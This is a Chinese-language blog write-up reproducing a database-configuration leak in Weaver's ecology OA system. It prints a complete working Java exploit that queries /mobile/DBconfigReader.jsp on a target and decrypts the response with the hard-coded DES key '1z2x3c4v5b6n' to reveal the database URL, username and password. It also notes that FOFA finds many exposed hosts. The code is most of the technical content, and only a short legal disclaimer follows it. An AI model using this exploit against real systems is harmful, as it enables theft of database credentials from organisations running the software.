淺談【漏洞復現】泛微ecology OA系統某接口存在數據庫配置信息泄露漏洞

目前
0x00 前言
0x01 漏洞簡訴
0x02 漏洞分析
0x03 漏洞剖析
0x04 漏洞復現
0x05 復現那些淚水
0x06 復現總結
0x07 免責聲明

0x00 前言

漏洞被曝光有幾天時間了。一直在上課沒有時間寫,昨天晚上整了一晚上,加上今天下午和學長搞了一下午才復現成功!
經過這次我意識到了會開發的重要性,我前前後後問了一堆人,百度了一堆問題!最後發現會開發能解決這一切問題!

各位看官且看下文分析!

0x01 漏洞簡訴

漏洞涉及範圍,用fofa搜索,看影響範圍,還挺大的!

影響版本:包括不限於8.0、9.0版
在這裏插入圖片描述

0x02 漏洞分析

分析看源碼[1]分析,sb字符串是url、user、password和logintype組成!
然後str是sb的字符串轉成字節,(重點!!!)keyString是1z2x3c4v5b6n 。
keyByte是keyString轉成字節而來!
dsk1 是 DESkeySpec 類對象。
接下去都是加密的過程!(說實話我現在還有點迷)
在這裏插入圖片描述

經過上面一系列的操作,然後我訪問使用payload訪問目標站點,會看到是一堆由DES加密的亂碼!

在這裏插入圖片描述
**

0x03 漏洞剖析

**

經過一系列的分析,不難發現利用這漏洞只要掌握兩個要點!

獲取密鑰,這點看不到源碼的話是根本不可能實現的。但是我們可以根據上面源碼默認密鑰1z2x3c4v5b6n。
使用密鑰解密DES密文!這個得去看看java如何實現DES加密解密算法,還要研究透DES算法。

    /**
    * 解密實現 源碼來着https://www.cnblogs.com/itrena/p/9081056.html
    * @param src byte[]
    * @param password String
    * @return byte[]
    * @throws Exception
    */
   public static byte[] decrypt(byte[] src, String password) throws Exception {
           // DES算法要求有一個可信任的隨機數源
           SecureRandom random = new SecureRandom();
           // 創建一個DESKeySpec對象
           DESKeySpec desKey = new DESKeySpec(password.getBytes());
           // 創建一個密匙工廠
           SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
           // 將DESKeySpec對象轉換成SecretKey對象
           SecretKey securekey = keyFactory.generateSecret(desKey);
           // Cipher對象實際完成解密操作
           Cipher cipher = Cipher.getInstance("DES");
           // 用密匙初始化Cipher對象
           cipher.init(Cipher.DECRYPT_MODE, securekey, random);
           // 真正開始解密操作
           return cipher.doFinal(src);
       } 

0x04 漏洞復現

昨天晚上經過大量實踐分析,諮詢之後!我還是失敗了。
今天早上起來已經是中午。
像往常一樣打開微信QQ看看親友羣[2]、朋友圈、QQ空間!
當我看到我這個漏洞圈子社區17小時之前有人已經發了exp[3]。我就迫不及待的去試試了!

package com.test;

import org.apache.http.HttpEntity;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.util.EntityUtils;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;
import java.security.SecureRandom;

public class ReadDbConfig {
    private final static String DES = "DES";
    private final static String key = "1z2x3c4v5b6n";

    public static void main(String[] args) throws Exception {
        if(args[0]!=null&& args[0].length() !=0){
            String url = args[0]+"/mobile/DBconfigReader.jsp";
            System.out.println(ReadConfig(url));
        }else{
            System.err.print("use: java -jar ecologyExp  http://127.0.0.1");
        }
    }

    private static String ReadConfig(String url) throws Exception {
        CloseableHttpClient httpClient = HttpClientBuilder.create().build();
        HttpGet httpGet = new HttpGet(url);
        CloseableHttpResponse response = httpClient.execute(httpGet);
        HttpEntity responseEntity = response.getEntity();

        byte[] res1 = EntityUtils.toByteArray(responseEntity);

        byte[] data = subBytes(res1,10,res1.length-10);

        byte [] finaldata =decrypt(data,key.getBytes());

        return (new String(finaldata));
    }

    private static byte[] decrypt(byte[] data, byte[] key) throws Exception {

        SecureRandom sr = new SecureRandom();
        DESKeySpec dks = new DESKeySpec(key);
        SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(DES);
        SecretKey securekey = keyFactory.generateSecret(dks);
        Cipher cipher = Cipher.getInstance(DES);
        cipher.init(Cipher.DECRYPT_MODE, securekey, sr);

        return cipher.doFinal(data);
    }

    public static byte[] subBytes(byte[] src, int begin, int count) {
        byte[] bs = new byte[count];
        System.arraycopy(src, begin, bs, 0, count);
        return bs;
    }
}

看完之後,有點驚喜又有點失落。驚喜的是有完整的源碼,但是沒有jar。
這個讓我一個java菜鳥如何是好!我在求助了一個熱心做開發的學長之後,經過我們不斷試錯!不斷debug,終於完成了!

在這裏插入圖片描述

0x05 復現那些淚水

千辛萬苦解決一切bug之後首先遇見第一道坑!
在這裏插入圖片描述
第二道坑!
在這裏插入圖片描述
在這裏插入圖片描述
第三個坑!
這個坑是這個網站使用不同的密鑰導致的!(也就是密鑰不是1z2x3c4v5b6n)
在這裏插入圖片描述

0x06 復現總結

開發經驗不足
接觸太少加密算法
有一個開發朋友很重要
我的安全之路還有很長的路要走

0x07 免責聲明

沒有放出jar文件是因爲最新安全發的緣故。請遵守《網絡安全法》等相關法律法規。

[1]源碼來着360CET公共號:https://mp.weixin.qq.com/s/zTEUan_BtDDzuHzmd9pxYg
[2]親友羣:就是安全羣。在不同安全羣常常能見到很多相同的人,所以被稱爲親友羣。
[3]exp源碼來着:https://www.secquan.org/BugWarning/1070442

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章